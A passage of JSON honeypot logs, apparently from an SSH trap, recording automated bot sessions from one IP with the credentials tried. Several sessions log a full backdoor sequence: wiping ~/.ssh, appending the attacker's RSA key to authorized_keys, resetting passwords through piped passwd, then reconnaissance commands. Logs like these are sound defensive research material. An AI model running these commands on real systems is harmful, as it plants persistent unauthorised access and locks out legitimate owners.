ls)"},{"seq":12,"at":"2026-08-27T12:54:05.620619+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:54:05.921538+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:54:06.519738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:54:06.817938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:54:07.698555+00:00","kind":"output","latency_ms":null,"data":" 12:54:07 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:54:07.999489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:54:08.541498+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:54:08.841036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:54:09.209639+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:54:09.508213+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:09.790104+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:09 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:10.089150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:10.827662+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:11.127163+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:11.498045+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:11.803918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:12.543248+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:12.842284+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:14.122655+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:14.421668+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:15.906258+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"f1020119-4ea4-4910-8fac-75f4eda3f84e","name":"cunning-quartz-saola","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44012,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:59.189158+00:00","ended_at":"2026-08-27T12:54:00.976479+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1f235dfb-ce93-452f-9a97-6a180a7cbec5","name":"ruddy-tidal-cormorant","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44008,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:53:57.540818+00:00","ended_at":"2026-08-27T12:53:58.592377+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da95395f-4d56-434c-89f1-495aa10cf491","name":"golden-blithe-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":33882,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":302,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:52:16.604226+00:00","ended_at":"2026-08-27T12:52:18.682721+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:51:57.817896+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:58.119012+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:52:02.066926+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:52:02.438831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:52:02.742966+00:00","kind":"input","latency_ms":null,"data":"echo -e \"uno50\\nMEdn4MKSuAJO\\nMEdn4MKSuAJO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:52:03.051735+00:00","kind":"input","latency_ms":null,"data":"echo \"uno50\\nMEdn4MKSuAJO\\nMEdn4MKSuAJO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:52:03.345071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:52:04.204547+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:52:04.510477+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:52:05.735011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:52:06.042565+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:52:07.414027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:52:07.716803+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:52:08.467929+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:52:08.770170+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:52:09.342190+00:00","kind":"output","latency_ms":null,"data":" 12:52:09 up 7 days, 9:42, 0 user, load average: 0.22, 0.21, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:52:09.644097+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:52:10.120453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:52:10.423088+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:52:11.010125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:52:11.311525+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:52:12.120290+00:00","kind":"output","latency_ms":null,"data":"top - 12:52:12 up 7 days, 9:42, 0 user, load average: 0.22, 0.21, 0.22\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:52:12.422924+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:52:13.084233+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:52:13.388040+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:52:14.119327+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:52:14.421060+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:52:14.838243+00:00","kind":"output","latency_ms":null,"data":"uno50"},{"seq":29,"at":"2026-08-27T12:52:15.140811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:52:16.299340+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:52:16.606268+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:18.592717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"uno50","password":"uno50","method":"password","accepted":true,"tier":"other"}]} {"id":"78a8cc11-6c52-432a-94c1-d67d09add5fd","name":"vivid-eager-jackal","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":33904,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:52:00.171763+00:00","ended_at":"2026-08-27T12:52:01.977077+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"uno50","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dc2b2b05-6da5-4349-a46c-6fe0ff972213","name":"solar-cunning-fennec","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":33888,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:51:58.806678+00:00","ended_at":"2026-08-27T12:51:59.598623+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4a112586-0f77-4dc3-aabb-2798e3b81c19","name":"gilded-arctic-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":40032,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":304,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:12.209359+00:00","ended_at":"2026-08-27T12:50:14.002867+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:49:56.088846+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:49:56.390458+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:49:59.524645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:50:00.267388+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:50:00.571014+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nnmR4LXeRPfNw\\nnmR4LXeRPfNw\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:50:00.874013+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nnmR4LXeRPfNw\\nnmR4LXeRPfNw\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:50:01.176626+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:50:01.913552+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:50:02.216848+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:50:03.473801+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:50:03.779530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:50:04.607156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:50:04.913891+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:50:05.253067+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:50:05.556765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:50:05.829956+00:00","kind":"output","latency_ms":null,"data":" 12:50:05 up 7 days, 9:40, 0 user, load average: 0.29, 0.33, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:50:06.133926+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:50:06.825813+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:50:07.128875+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:50:07.540786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:50:07.844576+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:50:08.121869+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:08 up 7 days, 9:40, 0 user, load average: 0.29, 0.33, 0.19\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:50:08.423909+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:50:08.864141+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:50:09.164607+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:50:09.494269+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:50:09.797496+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:50:10.457325+00:00","kind":"output","latency_ms":null,"data":"deployer"},{"seq":29,"at":"2026-08-27T12:50:10.760802+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:50:11.906919+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:50:12.210443+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:50:13.912861+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deployer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"cb0458d2-31f8-45cb-9f97-3a084e4984b1","name":"lucid-gnarled-shrike","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40056,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:58.358753+00:00","ended_at":"2026-08-27T12:49:59.436157+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deployer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"662465a7-be85-4be5-b1b0-d3bfdf1f8977","name":"mindful-golden-pika","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40044,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:49:57.076348+00:00","ended_at":"2026-08-27T12:49:57.762035+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e9ac9781-b6f7-4d1b-9710-b63a0400c5a2","name":"scarlet-cunning-grouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52412,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:48:15.012512+00:00","ended_at":"2026-08-27T12:48:17.108387+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:47:56.174396+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:56.473938+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:48:00.697015+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:48:01.098136+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:48:01.398089+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cps123\\nKKaN4Xxu4ll2\\nKKaN4Xxu4ll2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:48:01.703205+00:00","kind":"input","latency_ms":null,"data":"echo \"cps123\\nKKaN4Xxu4ll2\\nKKaN4Xxu4ll2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:48:01.992849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:48:02.508097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:48:02.808539+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:48:03.851507+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:48:04.152586+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:48:05.140208+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:48:05.441177+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:48:06.099132+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:48:06.399257+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:48:06.982477+00:00","kind":"output","latency_ms":null,"data":" 12:48:06 up 7 days, 9:38, 0 user, load average: 0.28, 0.2, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:48:07.282307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:48:08.127743+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:48:08.427118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:48:09.120254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:48:09.420761+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:48:10.026110+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:10 up 7 days, 9:38, 0 user, load average: 0.28, 0.2, 0.26\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:48:10.326448+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:48:10.876147+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:48:11.173254+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:48:11.883133+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:48:12.183407+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:48:13.023355+00:00","kind":"output","latency_ms":null,"data":"cps"},{"seq":29,"at":"2026-08-27T12:48:13.322607+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:48:14.712610+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:48:15.013868+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:48:17.022602+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cps","password":"cps123","method":"password","accepted":true,"tier":"other"}]} {"id":"8d69b4fa-ab7e-4ecc-a15e-72c12cd0c448","name":"genial-creaky-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52442,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:59.133317+00:00","ended_at":"2026-08-27T12:48:00.603248+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cps","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6511889-3ecf-4853-bfad-6be0f693ce86","name":"zealous-freckled-grebe","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52426,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:47:57.131415+00:00","ended_at":"2026-08-27T12:47:58.555706+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bcb3156c-dcdd-4d14-99f9-61451f6e2656","name":"smoky-lucid-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44914,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:46:06.093448+00:00","ended_at":"2026-08-27T12:46:08.345573+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-27T12:45:49.327446+00:00","kind":"input","latency_ms":null,"data":"cd 